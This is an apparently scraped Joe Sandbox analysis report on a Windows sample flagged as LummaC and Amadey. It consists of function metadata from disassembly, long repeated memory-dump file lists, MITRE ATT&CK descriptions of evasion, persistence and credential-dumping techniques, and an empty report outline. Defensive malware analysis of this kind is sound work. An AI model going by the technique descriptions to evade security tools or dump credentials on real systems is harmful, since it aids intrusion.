API String ID: 3303180142-3717220698
Opcode ID: 396b5d82373fc48399a71c1636b8b2acd70b83228c9acbceccc59c4251dfbdfd
Instruction ID: cfa6ed0a38b45572b4bba941dac7587122d1b3f2aaace042e1d7456f0ced44d9
Opcode Fuzzy Hash: 396b5d82373fc48399a71c1636b8b2acd70b83228c9acbceccc59c4251dfbdfd
Instruction Fuzzy Hash: BD01F5759057048ADB9BBFF8651175D6AF06F44300F60409EE008EF282CE745E488361

Function 0037CAD4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

CreateSemaphoreExW.KERNEL32(?,003865E3,00000000,00000000,7FFFFFFF,00000000,00000000,001F0003,00000000), ref: 0037CAFC
CreateSemaphoreW.KERNEL32(?,003865E3,00000000,00000000,7FFFFFFF,00000000,00000000,001F0003,00000000), ref: 0037CB1E

Strings

e8, xrefs: 0037CB12, 0037CAF0

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSemaphore
String ID: e8
API String ID: 1078844751-3568940000
Opcode ID: ead68a91b5e889e157c7aefc298ad89be8b9e63f47966e20fa37fbd997c3c8f4
Instruction ID: 1de6c905d634bbb555dc4b7828688fe455f8f8296bc61ab1d0f778b02576e56d
Opcode Fuzzy Hash: ead68a91b5e889e157c7aefc298ad89be8b9e63f47966e20fa37fbd997c3c8f4
Instruction Fuzzy Hash: 83F0B236511129ABCF235F90EC058AE7F6AEB08760B059119FE096A230C632A871EFD0

Function 0038B92C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28threadCOMMON

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 0038B94E
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0038B961

Strings

pContext, xrefs: 0038B959

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProxyProxy::ReturnThreadstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 548886458-2046700901
Opcode ID: f138d145ee89e3d0727151ef6c1e68940b06ae303dacd6e80be98753ebfcefd2
Instruction ID: 79bd8b56b3d1f27b6eaa8704e2e55954b03ae09c3ae559f4e0f8bc427b7f3c4c
Opcode Fuzzy Hash: f138d145ee89e3d0727151ef6c1e68940b06ae303dacd6e80be98753ebfcefd2
Instruction Fuzzy Hash: BBE0D839B4020867CF16B768D859CDFBB7D9FC4714704411AE615A7391EB74EA05CAD0

Function 003834CC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 003834FC

Strings

version, xrefs: 003834E1
pScheduler, xrefs: 003834F4

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pScheduler$version
API String ID: 2141394445-3154422776
Opcode ID: b17615f78172ec1a536931c77cee9ee0b2f87211adc7cafa6777063b7709380c
Instruction ID: ef299b265b37b08fcd749fa584c673b2986ce1468e9f439e3ce2d8d9e39d451e
Opcode Fuzzy Hash: b17615f78172ec1a536931c77cee9ee0b2f87211adc7cafa6777063b7709380c
Instruction Fuzzy Hash: 8AE08C34840308BBCF27FA55D84BAEC7768AB10B09F54C166F9106A5919BB49788DB81

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Bitcoin Miner

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files\Windows Media Player\1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f

